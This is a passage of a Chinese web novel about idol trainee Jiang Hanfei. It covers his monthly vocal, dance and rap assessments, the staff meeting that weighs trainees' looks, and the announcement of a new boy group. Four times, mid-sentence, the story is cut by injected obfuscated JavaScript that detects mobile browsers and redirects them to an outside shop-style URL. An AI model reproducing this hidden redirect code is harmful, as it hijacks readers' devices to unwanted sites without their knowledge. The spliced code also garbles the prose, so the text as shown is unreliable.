从进入测试的房间到出来不到一分钟，江翰飞走出来的时候还觉得人有点飘飘然的，脑子有点发蒙但总还算顺利，没出什么问题。 很多练习生测试完了也不会走，都围在训练室的门口，想看看最厉害的S级和A级练习生是什么样子的。很快有一间训练室的门口就有骚动传来。 时元拉着还在回想的江翰飞就窜了过去。他俩已经测试完了，现在还早，去看看也不会花太久的时间，江翰飞就任由时元拉着自己过去了。 走近了江翰飞就发现里面准备测试的人是自己的“熟”人，光看侧面江翰飞就认出来最边上那个不就是那天晚上在健身房打电话的少年吗。 时元也看到了那个少年的侧脸，不禁感慨道，“最边上的那个长得太漂亮了吧。” 旁边不知名的练习生仿佛也知道他说的是谁，自然而然的接话道：“当然啊，那可是靠脸就直接评定为A级的练习生呢。” “嗯？什么意思呀？”时元疑惑的问道。 “就是字面意思啊。”陌生练习生见时元不知道这个人，顿时八卦欲高涨，立即兴致勃勃和时元说道，“他是这个月才来的，听说来的那天主管练习生的部长亲自送他去的舞蹈训练室，还跟老师说他没基础让老师多带带他基础课。” “哇，这么好。”周围的练习生见有人知道消息，也默默围过来听八卦。 那练习生见其他人目光都聚焦在他身上，分享欲更加高涨：“那可不，听说他在声乐，舞蹈和rap上都没有基础，能被评为A级练习生就是因为他的那张脸。” “长得确实好看啊。” “就是，这年头，果然看脸才是王道。” “谁让咱们爸妈没给我们生一张好脸呢？” “这样能出道吗？什么都不会？” “嗨，不是有那句话吗？靠脸吃饭。人这就是冲着门面定位去的，吸的就是颜粉。” “那也太不公平了吧·····” ······· 门口围着的练习生七嘴八舌的议论起来，时元和江翰飞听完了消息就从人群中退了出来，没有参与讨论。 “飞哥，那个人长得真好看啊，我要是也像他一样好看就好了。”两个人走在回宿舍的路上，时元声音有点闷闷的，他还是第一次知道原来什么都不会光靠长得好看也能有高等级评价。 江翰飞没有接话，他很能理解时元的感受，好像是自己努力追求的东西被人以另一种方式轻易地得到了，之前他不喜欢那些偶像，除了觉得人品不好，其实也对他们的高额收入又羡慕又嫉妒。 但同时他也清楚，人都是视觉动物，长得好看确实能带来不少的便利，就是他自己，当时能拿下那份奶茶店的高时薪兼职也是因为那个店长说他长得比另一个男生好看一点。 现在被系统强制要求他必须出道，成为以前他隐隐鄙视的偶像之后，他更清楚好的外貌在这个行业就是一种硬实力。 要是自己长得再好看一点就好了。这个出道任务完成起来也会容易许多。 江翰飞颇为羡慕的想着。 现在作为C级练习生的他，连参与竞争出道的资格都没有：乐狮从来没有选过A级以下的练习生出道。 时元情绪来得快去得快，纠结一会儿没有结果就不纠结了，反正他又不能回炉重造，而且自己长得也不丑啊。于是开始拉着江翰飞讨论起下午的声乐考核。 “飞哥，下午的声乐考核记得提前开嗓呀，进去考核房间之后就没有时间开嗓了，老师会让我们直接开始唱的。”时元开始给江翰飞讲起自己的考核经验，虽然他拢共也只考过三次，但总比江翰飞这个纯新手流程上熟练许多。 声乐考核是每人一分钟清唱，歌曲任选。 大部分人都会选择声乐课上老师教过的歌曲，这些歌曲都是老师一点点教过每一句的技巧的，总比自己去学一首歌去分析每一句的咬字和轻重音什么的来的保险和轻松。 江翰飞和时元也不例外，江翰飞选了前几天被刘老师夸有进步的那首。他自认为还是一个声乐小白，现在最要紧的是以最快的速度升等级，为什么要去冒险选一首自己没那么拿的准的呢。 回到了宿舍几人在维C群里聊了几句，约了待会儿中午一起去吃午饭就各自休息了。江翰飞宿舍里也好些已经考完了回来的，嘴巴里或多或少都塞着零食，还有啃面包的。 因为形体考核里有体重这个硬性指标，有人从前一周就开始每天吃沙拉了，还有人昨天一天不吃饭的或者今天早上一大早就去健身房疯狂跑步想让身体脱水的。江翰飞这几天已经充分见识到了各种为了在体重秤上轻一点而使出各种招数。现在早上考完了自然就开始使劲儿补充能量或者甜甜嘴了，反正最早也还有一个月才会再去上称。 “哟，未来大明星回来啦？”这阴阳怪气的声音无疑就是施锐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606586|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。自从上次被声乐老师夸奖了一次，施锐就一直在宿舍里阴阳怪气的叫他未来大明星。江翰飞有点烦他，跟蚊子一样老是嗡嗡叫，所以从来不接他话茬；这种人你越在意，越跟他争吵，他越能从你的激烈情绪里得到反馈，然后进一步变得更烦。 果然，见江翰飞不搭话，施锐哼了一声，也不说话了。隔壁床的人把零食袋子递过来，问他要不要吃点肉脯。 “谢谢，我现在不饿。”江翰飞摇摇头拒绝，他今天早上吃了点早餐，现在不怎么饿，不太想吃零食。 “得了吧，你上赶着舔别人还不乐意呢！”施锐坐在床上，居高临下的看着站在下面的江翰飞两人。 “施锐你有病早点去治，我干什么关你什么事儿？”隔壁床的一点不忍着施锐，直接开始骂了起来，“一天天就知道阴阳怪气的，你家祖传太极吗？” “怎么我说错了？人家分你东西吗？需要你这点儿吗就上赶着给人送。”施锐翻个白眼，“你什么心思我还不知道，不就是看他有点升级可能吗？我说一句未来大明星你还真以为他能成个什么明星啊？” “你少拿自己肮脏的想法揣测我······” 江翰飞直接出门了，不想参与这种无谓的争吵。下午还有声乐考核和明天还有舞蹈和Rap的考核，于是脚步一转去了秘密基地的凉亭。 果然凉亭很安静，一个人都没有，还能听到滋儿哇滋儿哇的声音。 江翰飞就在这而开始练下午要唱的歌。通了两遍觉得状态还不错了就拿出手机打开录音机，一边唱歌一边录音。这是老师教的方法，用录音机录下自己唱的，再一点点的听。有的小瑕疵自己在唱的时候是注意不到的，但是再听录音回放就会非常明显。 来来回回录了几次，江翰飞听着录音总觉得还是差了点什么。还有老师说他的老问题，这个得慢慢练了。 江翰飞看看手机录音机，去除前奏，刚好59秒。也就是老师一喊开始自己就得开始唱，就算耽搁了两三秒可能都唱不完。 又顺了几遍江翰飞就停了，怕自己现在唱的太过反而导致下午的时候嗓子条件不好了。 这是于立果告诉他的，于立果第一次考核的时候就是因为练习的时候过度了导致考核的时候反而唱的没有平时的好，幸好他的嗓子本来就偏低，选的歌也是这个音域的，没有出现破音的情况。 不能练歌就练舞吧。 江翰飞又转而练起舞蹈来，今天月末考核不上课，习惯了早上练习舞蹈，一天不练了反而觉得少了点什么。 六楼的A级练习生宿舍，一个红发男生靠在窗边看着楼下凉亭里练舞的男生，看不清楚他的脸，只能看到肩膀下面的部分。 门外突然走进来另一名染着黄色头发的男生，见他靠在窗边看着外面问道：“阿雨，你看啥呢？” 红发男生下巴往外点了点，黄头发的男生好奇地凑过来，也看到了楼下凉亭里练习的男生；“哟，这么努力，不过好像基础不太好啊。” 9. 第 9 章 江翰飞擦擦头上的汗水，拿上长椅上的手机揣进兜里，在维C群里发了消息，没再回宿舍，直接去了食堂等他们一起吃饭。 下午的音乐考核明显让时元紧张多了，上午还能拉着他和于立果他们聊聊天，现在就只能一直紧张的看还有多久到自己。 他们并不在一个考核教室，看着还有十几分钟到自己，江翰飞跟于立果几人挥挥手，转身先去自己的考核教室等着了。 考试教室都是训练改的，大部分的训练室都是玻璃墙，走在走廊里就能看到两侧教室里的内容。练习生们围在开始教室边上看里面老师们的表情猜测着这一组的表现好还是不好。 江翰飞过去的时候正好有一个人是下一组的，给他空出了一个位置，他站的地方在学员的侧后方，能清楚的看到老师们的反应。 一组进去还是五个，但是演唱的时候是一个一个来的。五位老师外加训练室外黑压压的一群人都在看着一个人，压力可想而知。 江翰飞就算听于立果他们说过考核的形式，也早早做了心理准备现在也感到心跳加速。 天知道，从小到大他上过的最大的舞台就是高中班级合唱比赛，全班一起上台的那种合唱，人多总是壮胆的。一个人唱歌要不就是自己洗澡的时候哼哼几句，要不就是声乐课上接龙那样的了。 练习室的隔音做得很好，他们站在外面完全听不到里面话筒唱出来的声音。 第一个唱的不知道怎么样，老师们脸上都没什么反应，就见话筒递到了第二个人手里。第二个人似乎唱的挺不错的，中间那位老师好像挺满意的点了头，边上两位老师也说了什么。 江翰飞不知不觉的也开始观察起老师的神色来，越看越带入自，心跳越快，好像是在耳边打鼓一样。 他上手拍了拍胸口，试图让自己的心脏跳的慢点，不要这么聒噪，但是没用。 很快一组就结束了，刚刚站在这个位置的练习生是第三个唱的，老师没什么表情，他出来的时候脸上也没什么表情，大概是挺顺利的。 江翰飞诡异的感到有点安慰。 下一组就到他了，江翰飞站在门口排着，他是下一组的第三个。又站在五个人的中间，他不喜欢这个位置，或者说很不习惯这个位置； 但是作为偶像的话，C位却是兵家必争之地。 果然他不适合当偶像。 脑子里闪过这样一丝念头又很快隐没，考试在前，哪有心思想这些唷。还是在进去之前多背背歌词吧！ 真正到他们走进去的时候江翰飞脑子还是不可避免的紧张到发懵，幸好他在中间，跟着别人走进去，在合适的位置站定，然后从第一个开始演唱的时候江翰飞才回过来神来，心里赶紧先过了一遍自我介绍的流程、准备歌曲的歌词和练习时容易出错的地方。 心跳还是很快，太快，太快了。 好像有谁泄愤一般捶打着，他甚至能感受到身体的血液经过快速跳动的心脏再泵出的时候，都被加热了一般变得滚烫，再流经全身，让他整个人都开始感到燥热。 怎么办？ 深呼吸—— 深——呼吸—— 到第四次深呼吸，视野里出现一支麦。 江翰飞接麦的手有点颤抖，他知道自己现在可能开口就跟那天第一个的男生一样会因为紧张直接跑调或者声音发颤。 再次深呼吸，吞了下口水，把自己的紧张咽下去，举麦，自我介绍：“各位老师好，212号江翰飞，演唱曲目《家书》” 啊，开口的声音果然是颤抖的，手也在微微颤抖。 说到后面歌曲名字的时候，江翰飞开始缓过气来。 “开始吧。”一位老师示意道。 他话音一落，旁边的计时电子屏就开始1:00倒计时。 盯着倒计时会让自己更紧张，江翰飞移开视线，努力让自己稳住。 “江南····” 开口的时候还是因为紧张调有点飘了，飘的不多，可以救回来的。 江翰飞捏紧手里的麦，眼神移向上方，视线集中盯着老师们上方的墙上，假装自己只是一个人在房间里唱歌。 这次准备的考核曲目就是上次声乐课学的歌，是一首带着独有的中国风元素流行独唱。 主要唱的是将军偶遇将士落泪，然后询问落泪缘由，将士回答是收到一封跋山涉水而来的家书，家书里写了父母的谆谆教导，妻子的殷切盼望和幼子幼女活泼可爱的样子，他因此而感动落泪的故事。大部分歌词都是在以将士的口吻回答将军的问题。 其中两段主歌，第一段主歌写的就是将士回答将军家书的内容，第二段写将士自己的心理。中间的副歌部分是落泪的心情。整首歌曲的结构很典型并不复杂，刘老师讲的时候也只是略微说了说。这首歌主要的难点在音域跨度需要跨两个八度，这对许多音域比较窄的演唱者来说就比较难了，尤其是副歌的部分。将士讲家书内容的时候调子比较低，等说道自己情不自禁流泪也就是副歌的时候直接跨了一个八度，紧接着下一句又低了下去。 整首歌难就难在处理这个地方，本身需要比较宽的音域，如果真声上不去还得用假声顶，顶上去之后下一句又得低下去。上次刘老师夸奖他进步大概也是因为那次他真假声转换的处理出乎意料的好。 一分钟的考核时间，刚好够他唱到第一段主歌+桥+副歌结束。 唱完前两句，江翰飞盯着白色的墙面，脑子里没有了其他的杂念。他能感觉到自己的心率还是快但又有一种奇异的平静感，声音从紧张干涩变得舒展也不再颤抖，歌词自然而然地从自己嘴里唱出来回荡在这个考核的教室里，甚至他还能听到一点回音。 这是一种很奇怪的状态，明明脑子还有点发懵，但是似乎又异常的清醒。清楚的知道自己唱到哪儿了，该用什么样的发音方式什么样的咬字。 马上要进入桥的部分了，江翰飞脑子里想到。 桥的部分是在讲家书的内容，看似将士好像是在说家书的内容，实际是通过这个回答的方式表达了将士对家里人的思念和对和平年代的思念，想念家里年迈的父母，辛苦的妻子和长大了好几岁不知道还认不认识自己的孩子。也想念当年没有战乱自己没有因为兵役进入行伍，一家人在务农事桑的平淡生活。 因为只能想念，只能怀念，所以他的情绪是低落的，是压抑的。到副歌的部分，因为越说越多，情绪一点点积累到压抑不住了，喷薄而发，跨越了一个八度。 不是我不想念你们，不是我不想回家，实在是我身不由己，不得不在外漂泊还时刻担心着客死他乡再也见不到自己思念的人！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606587|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>再到情绪回落将士哽咽难言，降回原来的调。 结束了。 副歌也结束了，他的演唱也结束了。 江翰飞回过神，眼神终于敢从上面的白墙上移开，但没敢跟前面的老师对视，直接落在了旁边的练习生身上，将话筒交给他。 只是对方大概也很紧张，看他的眼神里带着一些呆滞和害怕。 江翰飞唱完之后理智回归，甚至还有力气对对方安抚地笑了笑，点点头。 只是大概是没成功的，下一个人仍然保持着僵硬的动作接过话筒，开口的时候声音也干涩还带着点微颤。 江翰飞的心跳已经慢慢的平静下来。 刚刚因为太紧张了还是有小失误，也不知道自己前两句唱的这么紧会被扣多少分。 相对明天的舞蹈和rap，声乐已经是他相对比较拿的出手的了。如果想要升等级，他的突破口只有声乐。 想到这儿江翰飞抬头开始观察老师现在的表情，又有点遗憾刚刚自己唱的时候没有看到老师们的表情，不然还能给自己估摸一下。 下次一定努力不这么紧张，至少·····至少盯着墙下面一点。 因为脑子里想着这些事儿，其他几个人的歌他都没太注意听，再反应过来的时候这一组的都已经在往外走了，紧走两步跟上大部队。 等他走出教室，发现教室外的人都莫名其妙有点看他的感觉，甩甩头，把这种“他一定是在看我”奇怪的错觉去掉，准备去找时元他们一起去吃饭。 他也因此错过了在他后面唱的两个哥们儿执手相望泪眼和看着他潇洒背影的幽怨眼神。 第二天的考核是舞蹈和rap，舞蹈是自备一段三十秒以内的选段+伴奏，如果是原创舞蹈的话会加分；rap是一段一分钟以内的选段，同样，如果是原创也会加分。 这两样江翰飞都选了到目前为止他觉得他跳的最好的和练得最好的。在考核舞蹈的时候还遇见了他心中的魔王菲力老师，差点让他紧张得跳不出来。但还好舞蹈考核有伴奏，等伴奏起来，身体就像是装了什么自动装置一样自己就能跟着音乐开始跳起来。rap也是，他选的是一段比较快但是flow没那么变化的选段，总感觉自己唱的软绵绵的，而原版的rap唱的是像子弹一样强劲有力。 一时半会儿他也练不到更好的地步，幸而舞蹈和rap都没有忘记动作或者忘词，顺顺利利的结束了考核。 晚上，结束了月度考核的练习生们仿佛又闯过了一关，晚餐时间的食堂比平时更加嘈杂，随便听两耳朵都是在讨论今天的考核。 “诶，我今天太倒霉了，rap的时候突然想打嗝，然后就跟不上词了，woc。” “你这算什么，我听说今天早上考核舞蹈的时候有人跳breaking，嘿嘿，□□裂了哈哈哈哈哈” “哈哈哈哈哈哈你这么一说我心情一下子就好了哈哈哈哈。” ······ 不仅练习生们在讨论。 练习大楼17楼，大会议室。 参与考核的老师们都围坐在大会议长桌边上，前面的会议屏亮着，第一排坐着一个矮胖的男人，戴着黑框眼镜，从外表和衣着看起来都不像是会出现在娱乐公司的人，却首先发话道： “来吧，我们速战速决。” 10. 第 10 章 谢部长发话，“从形体开始。” “形体方面有7个练习生值得注意下，C级的时元，任乐生和江翰飞，B级的朱正谊和葛高云，A级的方高邈和葛文山；S级的练习生形体与外貌变化不大，保持的较好。”一位带着眼镜的女生似乎早有准备，点开准备的PPT投射到电子屏上，“首先，A级的方高邈是这个月新来的。” 说着前面的会议室电子屏就显示了方高邈形体考核的录像视频。 “外形是精致漂亮的类型，典型的狐狸相，桃花眼和上挑的眼尾是亮点；体态一般需要进一步练习，身体线条没有问题，性格和气场匹配，定位是门面。” “但是目前性格缺陷比较大，过于桀骜不驯，对自己的外貌过于自信，导致除了外貌以外，其他所有的版块进步都非常缓慢。”女生说道这儿又顿了下，坐在后面几位的另一位老师适时接话到，“一个月不到的时间，已经逃了我五次课了。这次声乐的考核评级是C，基本毫无进步。” 坐在最前面的谢部长听到这儿面色看起来不太好，“这次月考后把他的课程表更改一下，换成和C级一起上声乐课，加重声乐的占比。”说完看向后面的另外一位男性管理，“另外你明天去找他聊聊，给点压力。” 男管理点点头，明白部长的意思。他是主管A级练习生练管之一，A级练习生一共接近40人，分归两人管，他是其中之一。 部长是要对这个门面潜力股进行进一步的加压，练习生可以桀骜，但不能不驯。一般练习生会在竞争环境和自身对出道的渴望，还有公司的打击教育的多重推动下，绝不会出现这种逃课的行为。 这种行为一旦放纵，后面整个练习生部门的风气都会受到影响。 “下一个吧。” “葛文山，体重降到标准下以后面部的线条更明显了。颧骨偏高，眼窝加深，整个人带着一点异域混血风情，和整个人的颓废气质非常搭配，建议以后的发展方向可以借鉴这个方向。身高已经到了192，如果组团队的话，成员其他人的身高不建议低于180，否则会影响团队整体形象。” “葛文山的目前定位偏向是rap，和他现在的气质和整体形象很符合，无需进一步调整。”坐在靠后的rap老师补充道，“他也是这次我提出的潜力学员之一，rap目前的实力已经足够升S级了，他以前玩儿过挺长时间的弦乐，原创也不错，我推荐升S。” 戴眼镜的小姐姐听到这句话嘴角也微微勾了下，来了个好消息。 S级练习生公司目前总共也就6个人，据他所知接下来的计划就这点人肯定是不够的。 “升S级的事儿放到后面我们晚点一起看，对于这个葛文山还有要补充的吗？”部长往后看了眼，“没有我们先继续看下一个。” “下一个是B级的·····” 每次月度考核之后，老师们和练习生部门的负责人们都会齐聚在17楼的会议室，针对这次考核的情况，抓出需要重点关注的练习生们。这些练习生有的是进步非常快的练习生或者在某一方面有着高潜力的练习生，也有之前关注到了但是练习生的状态有明显下滑的情况。但只要在这个会议上出现过，就代表公司曾经关注过这位练习生一段时间。 很快一个多小时就过去了。 “下一个是C级的时元，身高167偏矮，现在16岁还有长高的空间，但是根据记录的父母身高和检测机构那边给出来的结果预计最终的身高不会超过175。眼睛很圆，卧蚕明显，内双眼皮，整体面相偏小狗像，是容易让人产生好感的类型，目前市场上类似面相的明星比如燕可非常热门。现在的年纪正是发育的时间段，面相变化比较大，需要紧密关注。” “16岁稍微小了点，身高也不太够啊。”部长听完轻轻叹了句。 坐得离他最近的男管理眼睛闪了闪，他听出部长语气里的可惜。 “这孩子练习多久了？” “进入公司前自己在培训机构上过半年的课程，进入公司一共四个月，三次考核均是C级，但是从单项上看声乐和舞蹈进步比较明显，Rap的节奏感太弱，建议发展副唱+领舞的方向。”负责C级练习生的一名练管说道，对时元的资料倒背如流，显然也是早就关注到了时元，“当时进来的时候我们也在斟酌要不要根据外貌让他进入A级，但是····” 后面的话隐去了，当时在会议上是部长否定了放入A级，而是放到C级去了。 “好，再压一压，年纪还是太小了，发育关还没过。”部长听完不置可否，“下一个吧。” “下一个是新人江翰飞。”说到江翰飞，眼睛小姐姐古怪的停顿了一下，“18岁，本月2号进入的公司，眉骨高但是眼窝不算深，眉毛和眼睛的间距比较窄，自带忧郁气质。鼻子很挺，面部折叠度高，但是脸部线条不够流畅，有较强烈的攻击性。整个人不笑的时候带有很典型强攻击性，可以作为主打卖点。” 说完看了一眼部长，稍微停了下又补充道，“他骨骼底子很好，但是目前状态比较差。仪态也一般需要进一步的调整。和人交流较少，人多的地方有明显的紧张感，性格偏内向，和室友关系相处的不太好，和时元几人比较熟。。” “这个孩子我有印象，声乐的刘老师跟我夸过他，音色很抓耳，声音纯度高而不细，发声位置偏上，唱歌时自带一点鼻腔，混出来的音色目前在市场上没有同款。” 负责B级和C级练习生的主管话音刚落，一位声乐老师又补充道：“昨天声乐考核唱的《家书》，开口明显能听出来很紧张和声音也抖，但是状态调整很快，后面的发挥很好，多适应几次之后应该属于舞台型选手。” 老师说着，眼镜小姐姐已经调出了这次江翰飞声乐考试的录制视频。 “音色确实不错，音域也比较宽，这首歌是两个八度的音域。” “他只学了一个月的声乐，专业技巧学的还很少，进步挺快的；指出来的错误，后面就会有所改善，私下里应该做过不少练习。” 谢部长听好几个老师都在补充江翰飞的平时表现，心里有了底，少见有几个老师给一个C级练习生说好话，而且这个江翰飞他一点印象都没有。按理说这个外貌等级的练习生，他应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606588|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该会有印象。 “他进公司的照片调出来看看。” 戴眼镜的小姐姐把江翰飞刚进公司留下的公式照调了出来。 结果众人都有点傻眼了。 刚进公司的照片，脸色黑黄，眼下带着黑眼圈，额头上还顶着几颗痘；嘴唇泛白，两颊的凹陷显得颧骨很高，面部线条看起来比较崎岖。 再看看最新的江翰飞，肤色白回来不少，虽然还有点泛黄，但是黑眼圈淡了，嘴唇红润，两颊长稍微肉之后带的整体面部流畅许多，整个人在眉眼上的优势一下子就凸显了出来。 谢部长看着最开始的照片一点不奇怪自己怎么没印象了。 刚来的江翰飞实在是又黑又瘦，整个人的精气神也不太好。一个月能有这么明显的变化，而且看面部骨骼的基础很好，确实是个潜力苗子。 不知道是谁拉进来的，还挺有眼光。 谢部长心里嘀咕了一句，又问：“他这次考核结果怎么样？” “仪态C级，面部、身材和整体形象都需要再调整；声乐B级，舞蹈C级，Rap C级，声音条件好，建议作为主唱培养。” “一个月，声乐能从小白到B级啊····”不知道还来不来得及。 部长食指点着会议室桌面，心里暗自琢磨。 “一个月时间太短，再看一个月吧。”说完顿了一下，像是想到什么，又补充了一句，“让机构那边根据骨骼和肌肉走向做一个他的预期图。” 眼镜小姐姐点点头，记下了。 都是在谢部长手下干了几年的人了，听见这话几位负责人互相交流了个眼神，都清楚谢部长是个什么意思了。 倒是谢部长看自己下属眉来眼去，没好气的说：“别在那儿互相抛媚眼了，本来打算晚点跟大家同步的，趁着这个时间点，就先给大家说一下，明天公布考核结果后再同步给所有练习生。” “公司准备在一年后推出下一个男团。” 谢部长语气淡淡，平地落下个惊雷，炸的会议室立即开始闹哄哄的。 “这么快？” “上次推出的男团不是才不到一年吗？” “是因为上个男团的成绩不太好，跟K家对上了没干过人家。” “但是我们推出的时间已经和他们错开了小半年，年末前我们的才出道没有办法拿新人奖吧？” “除了新人奖还有几大台的出道秀也没比过，热度降得太快了，现在粉丝的互动和反馈热度也降得很厉害，听说刘部长那边开会把经纪人骂的狗血淋头，桌子都不知道拍了多少次了。” “啧啧，那也是没办法的事儿，谁让老刘上次非要听那个经纪人的，没有把禹安和叔浩浩选走呢。” “咳咳！”听大家越说越偏，再说就开始说其他部门的人了，谢部长赶紧制止。毕竟是兄弟部门，闹僵了对谁都没好处。 “预计时间是明年的八月出道，已经在征集歌曲了，之前准备的策划案也提交上去了；预计最晚明年3月就得确定人选然后集训还有准备出道事宜，时间不多了。” “都紧张起来吧！” 11. 第 11 章 月末考核完的第二天大家大概都在放松，人这么少的健身房时间还是挺少见的。 江翰飞一边跑步一边想到。 但他自从来这儿就一直每天早上都在锻炼，习惯之后不锻炼反而觉得少了点什么，所以今天还是早早地来泡健身房了。一个月的锻炼效果还是很明显的，那天形体考核之前他偷偷照过镜子，已经是被时元羡慕的穿衣显瘦，脱衣有肉了。 而且别的不说，锻炼之后他能明显感受到自己的体能耐力提升了。舞蹈课两个小时，以前是上到一半就会很喘很累，现在是上完两个小时很累。 早餐的食堂里也跟昨天一样嘈杂，听起来话题好像大都和月末考核的评级无关了，其实大都心不在焉的随意搭着话，在等着马上八点半刷新出来最新的考核评定。 也有耐不住性子的，已经拿出手机，在官方页面使劲儿刷新了。 公司的月末考核的结果都是在考核时直接用ipad在公司自己的系统内记录的，包括评语一类的，所以每次综合的评级结果一般在考核完的第二天，也就是下一个月的第一天早上八点半就会公布在自家公司内部APP的练习生部门排行里。每个等级的练习生只能看到自己所属等级的排名。 排名如果特别靠前，那这个练习生大概率离下一个等级不远了，因为只有某一个版块得分特别高且其他的版块不拉后腿的情况，或者几个版块的分都很高的情况下才会有很高的平均分。而中等的也不一定没有希望，如果是某一个版块特别优秀但是被其他版块拉了后腿，就得看特别优秀的版块能不能打破等级限制了。众所周知，爱豆有定位的，如果在某一方面特别的优秀，也就是有了一个培养方向了，这样的甚至比多个板块均衡的更有优势。 但是如果你的排名很低，那肯定就没戏了。 所以上次施锐说他们都不行也是因为除了时元在C级练习生的排行里相对靠前，于立果在中游，宋文斌和高崎的排名都相对靠后，虽然不至于掉入最后三十名成为红名练习生，不过大概也在一百名开外了，C级练习生总共也就两百出头。 “出来了出来了，快看快看！” 练习生们纷纷拿出手机开始刷新自己的成绩。 “woc，我就知道我的rap这次要完！” “没想到我这次的排名居然还比上次高了点，难道是我声乐发挥的特别好吗？” “诶，看看你的，这次排名上了不少，是哪一板块涨了啊？” “我也不知道啊，评级都一样的。” 江翰飞几人也拿出手机进入个人资料的等级评定： 江翰飞，男，18岁，身高：178，体重53kg（需增重）； 声乐：B级；舞蹈：C级；Rap/创作：C级；上次总评：C级；总评级：C级 测试时间: 8月31日。 其他的信息只是晃了一眼，江翰飞盯着那个“声乐：B级”看了好一会儿。 想起自己被声乐老师批得一文不值，让他重新滚去学习乐理的样子。老师说的没错，他来这儿之前只会听歌，只知道一首歌好不好听，他喜不喜欢，哪里接触过专业的音乐知识。 自己现在的水平就能够得上声乐的B级了吗？ 上次考核的时候他记得自己开口前两句因为紧张声音又紧又干。忽而他又想起当时交麦的时候那个男生呆滞带点害怕的眼神，难道自己上次真的发挥还不错？还有走出考核教室后觉得大家好像在看他的眼神，难道那个不是错觉？ 有一朵小花从他心里破土而出又慢慢盛开，散发出迷人的香气。 这是他第一次月末考核，他很紧张，也很忐忑；在这儿练习了一个月的他很清楚，想要在一年内从C升到S，以自己的基础，几乎是绝对不可能的事情。他只是因为任务而强迫自己抛弃了其他想法，努力坚持着训练。 但是这个声乐的等级，好像在告诉他，他似乎可能也许大概还是有那么一点点可能性，能做到？ “哇，飞哥，你排名比我还靠前诶！”时元清脆的叫喊声让江翰飞回了神。 他又转到另一个C级练习生排名的页面，第32 江翰飞。 “我在35！”，时元脆生生的声音在耳边响起，他歪过身体凑过来看江翰飞的手机界面，指着第35名的名字。 于立果笑眯眯的看着他俩，他这次还是在中间，第85名；而旁边的宋文斌和高崎没有说话，他们一个在124，一个在133。 “飞哥，你快看看你最新的课表和我们的一样吗？”时元用手肘推推江翰飞，不知道是不是年纪比较接近的原因，认识江翰飞之后时元最黏着江翰飞。 江翰飞依言打开自己的课表安排，大致扫一眼发现老师们都还是熟悉的老师，只是形体课的安排变多了。 时元把自己的课表打开，一一对着看，“飞哥，咱们声乐课错开了，我也多加了形体课，正好我们也在同一个教室。” 说完，又拿起其他几人的课表一起比对起来，对比上个月大家重合了绝大部分的课表，这次明显错开了不少，时元和江翰飞多了几节形体，他们的声乐课时间和老师也变了。 看完没有翻动手机其他地方，原样还给了江翰飞。 几人也没默契的没有问各自的版块的评级，最终评级都在C级的榜单里自然就是C级也不用问。 早上的第一节课还是舞蹈课，这节课大家没有错开，一起去上了基础舞蹈课。 难得的，老师进来没有先直接带着他们热身，反而拍了拍手，见大家的目光和注意力集中到了他身上，站在前方正中心的舞蹈老师面对着大家说道：“昨天开会公司那边通知了一个消息。” 说完小小的停顿了一下，扫过眼前的一圈练习生。虽然都是C级，但谁知道会不会有谁和秦正浩一样能一飞冲天呢？ “公司计划在一年后推出新的男团，这次男团的选拔时间定在明年的四月份，还有7个月，大家好好加油吧。” 说完之后训练室内短暂的安静了一小会儿，紧接着直接就炸开了锅，三三两两的开始讨论起来，还有人直接问起老师：“老师，能知道选多少人吗？” “谁负责选人啊？还是刘部长吗？还是谢部长啊？” “老师我们C级的有机会吗？会选C级的出道吗？” “老师，为什么这次这么快啊？” “行了，这些就别问我了，我不负责这些，有什么不清楚明白的，直接问负责你们的练管去。” 说完老师也不管还在讨论的练习生们，开始放歌带他们做热身运动。 被这个消息炸到的练习生们没法子了，总不能在课上讨论，被老师抓到呵斥也太丢脸了。于是都先收敛了心思，跟着老师开始训练。 在训练间隙的休息时间和上完课的中午， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606589|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司计划要选拔出道人选的消息就飞快的在各个角落里传递和讨论。 都来当练习生了，没人不想出道。 